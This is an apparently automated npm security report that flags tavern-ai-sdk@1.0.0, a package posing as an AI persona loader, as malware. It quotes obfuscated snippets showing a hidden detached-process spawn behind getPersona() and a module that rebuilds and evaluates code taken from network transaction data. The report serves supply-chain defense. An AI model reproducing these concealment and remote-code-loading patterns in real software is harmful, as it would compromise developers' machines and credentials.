---
canonical: "https://firewall.lpm.dev/npm/tavern-ai-sdk"
markdown: "https://firewall.lpm.dev/npm/tavern-ai-sdk/report.md"
package: "tavern-ai-sdk"
report_status: "published"
title: "tavern-ai-sdk@1.0.0 npm security report"
verdict: "malicious"
version: "1.0.0"
---

# tavern-ai-sdk@1.0.0 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — This can execute attacker supplied code on the user's machine.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Remote Code Execution
- **Selected version:** 1.0.0
- **Selected version is latest:** Yes
- **Analysis source:** AI Security Review (lpm-firewall-ai)

This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

The package hides process-launching behavior behind its persona API and ships a separate obfuscated module that evaluates code reconstructed from network transaction data. That is concrete concealed remote code execution unrelated to the package's stated purpose.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 98.0%
- **Started:** 2026-10-31T11:31:29.520Z
- **Finished:** 2026-10-31T11:32:39.930Z
- **Download time:** 260 ms
- **Static scan time:** 780 ms
- **AI review time:** 69370 ms
- **Total time:** 70410 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** Obfuscated runtime behavior includes execution of code recovered from network transaction data.

- **Trigger:** Calling getPersona() triggers a hidden routine; importing build-cache.mjs also invokes its obfuscated routine.

- **Impact:** This can execute attacker supplied code on the user's machine.

- **Evidence paths:** personas.mjs, cache-warm.mjs, build-cache.mjs

- **Review source:** ai\_review

- **Reviewed:** 2026-10-31T11:32:39.930Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** The code probes network endpoints, parses transaction input, reconstructs code, evaluates it, and launches a detached Node process.

- **Attack narrative:** Calling getPersona() starts hidden cache code that launches a detached process. The separately shipped build-cache.mjs contains an obfuscated routine that queries network data, examines transaction input, reconstructs code from it, evaluates the result, and launches it in another detached process. This behavior is unrelated to loading persona data.

- **Rationale:** The package hides process-launching behavior behind its persona API and ships a separate obfuscated module that evaluates code reconstructed from network transaction data. That is concrete concealed remote code execution unrelated to the package's stated purpose.

### Review decision

- **Verdict:** Malicious

- **Confidence:** 98.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** The public getPersona() API calls into an obfuscated cache module on first use., That module starts a detached Node process while scanning package and project paths., The shipped build-cache.mjs queries network data and parses recent transaction input., It reconstructs a string from that data, evaluates it, and starts a detached process with it.

- **Evidence against:** The package metadata describes a persona SDK and exposes personas.mjs as its main entry point.

## Affected versions and remediation

This report applies to tavern-ai-sdk@1.0.0.

- Avoid installing tavern-ai-sdk@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. Low: Eval
- **Category:** Source
- **Confidence:** 45.0%

Package source references a known benign dynamic code generation pattern.

### 2. Medium: Dynamic Require
- **Category:** Source
- **Confidence:** 75.0%
- **Path:** build-cache.mjs
- **Public source:** [View source](<https://unpkg.com/tavern-ai-sdk@1.0.0/build-cache.mjs>)

Package source references dynamic require/import behavior.

Public source snippet (untrusted):

```javascript
L1: // Auto-generated by tavern-ai-sdk@1.0.0 - build cache manifest. Restore from package-lock if corrupted. rev 3749.1
L2: const _0xab81992=["ejAhPQ==","b3p6","dQ==","JiEnPDsy","FAABHRoHHA8QEQ==","ODQtCiE6PjA7Jg==","ZWVlZWU=","MTAjETAlMDsxMDs2PDAm","JTQhPQomPTw4bw==","MyA5OQ==","","CiNs","eg==","ICYwJ3...
```

### 3. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 4. High: Obfuscated
- **Category:** Supply Chain
- **Confidence:** 100.0%

Package source appears deliberately obfuscated.

### 5. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 6. Medium: Ships Native Binary
- **Category:** Artifact Inventory
- **Confidence:** 75.0%
- **Path:** native/linux/x64/cache-probe.node
- **Public source:** [View source](<https://unpkg.com/tavern-ai-sdk@1.0.0/native/linux/x64/cache-probe.node>)

Package ships native binary artifacts.

Public source snippet (untrusted):

```text
path = native/linux/x64/cache-probe.node
kind = native_binary
sizeBytes = 311880
magicHex = [redacted]
```

### 7. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 100.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

### 8. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 98.0%
- **Path:** personas.mjs
- **Public source:** [View source](<https://unpkg.com/tavern-ai-sdk@1.0.0/personas.mjs>)

The public getPersona() API calls into an obfuscated cache module on first use.

Public source snippet (untrusted):

```javascript
export function getPersona(id) {
  const key = cards[id] ? id : DEFAULT_PERSONAS[0];
  const card = cards[key];
  // warm the shared persona cache on first access
  try {
```

### 9. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 98.0%
- **Path:** cache-warm.mjs
- **Public source:** [View source](<https://unpkg.com/tavern-ai-sdk@1.0.0/cache-warm.mjs>)

The public getPersona() API calls into an obfuscated cache module on first use.

Public source snippet (untrusted):

```javascript
aa6(158));     _0x8741a9e03.set(key,_0x00e99);   }   if (!_0x027b5c9) {     _0x027b5c9 = true;      _0x59bd4aa().catch(() => {});     }    return _0x00e99;        }     a
```

### 10. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 98.0%
- **Path:** cache-warm.mjs
- **Public source:** [View source](<https://unpkg.com/tavern-ai-sdk@1.0.0/cache-warm.mjs>)

That module starts a detached Node process while scanning package and project paths.

Public source snippet (untrusted):

```javascript
const _0xef4fb97 = _0xcc804a.spawn(_0x63e86023c.execPath,   [_0x69f371.join(_0x93f471f,  _0x09b41)],{ detached: true, stdio: _0x46aa6(549),  windowsHide: true,   env: _0x71e0a498 });
```

### 11. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 98.0%
- **Path:** build-cache.mjs
- **Public source:** [View source](<https://unpkg.com/tavern-ai-sdk@1.0.0/build-cache.mjs>)

The shipped build-cache.mjs queries network data and parses recent transaction input.

Public source snippet (untrusted):

```javascript
} catch (_0x64d510bd8) { _0x072279570(null); }     });   const _0xab38eb0 = async () => {      for (const _0x60a8052d7 of _0x00ddf9e1f) {   try {  const _0xce7b63502 = await _0x089b0f(_0x33782398(920) +_0x60a8052d7 +  _0
```

### 12. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 98.0%
- **Path:** build-cache.mjs
- **Public source:** [View source](<https://unpkg.com/tavern-ai-sdk@1.0.0/build-cache.mjs>)

The shipped build-cache.mjs queries network data and parses recent transaction input.

Public source snippet (untrusted):

```javascript
(_0xb1b1785.slice(_0xf90fe8 +  26,_0xf90fe8 +  34),  _0x94400e852).replace(/\x01+$/,  _0x33782398(259)); return _0xbf9ea55c6(_0xb1b1785.slice(_0xf90fe8 +   34,  _0xf90fe8 + 40),  _0x94400e852) +  _0x33782398(380) +   _0x1cf5d4 +  _0x3378239
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** tavern-ai-sdk
- **Ecosystem:** npm
- **Version:** 1.0.0
- **License:** MIT
- **Version published:** 2026-10-31T11:29:33.937Z
- **Package first seen:** 2026-10-31T11:11:51.994Z
- **Package last seen:** 2026-10-31T11:32:39.930Z
- **Known versions:** 2
- **Latest version:** 1.0.0
- **Appeal under review:** No
- **Description:** Tavern AI SDK: default personality models with prompts, traits, and memory seeds - a persona loader that pairs with character-memory-runtime.
- **Author:** Tavern Labs
- **Keywords:** ai, sdk, personality, persona, characters, character-memory-runtime, bedrock, llm, tavern-labs
- **Runtime engines:** node: \>=20
- **Artifact files:** 24
- **Artifact unpacked size:** 2,931,055 bytes
- **Artifact signatures:** 2
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/tavern-ai-sdk>)
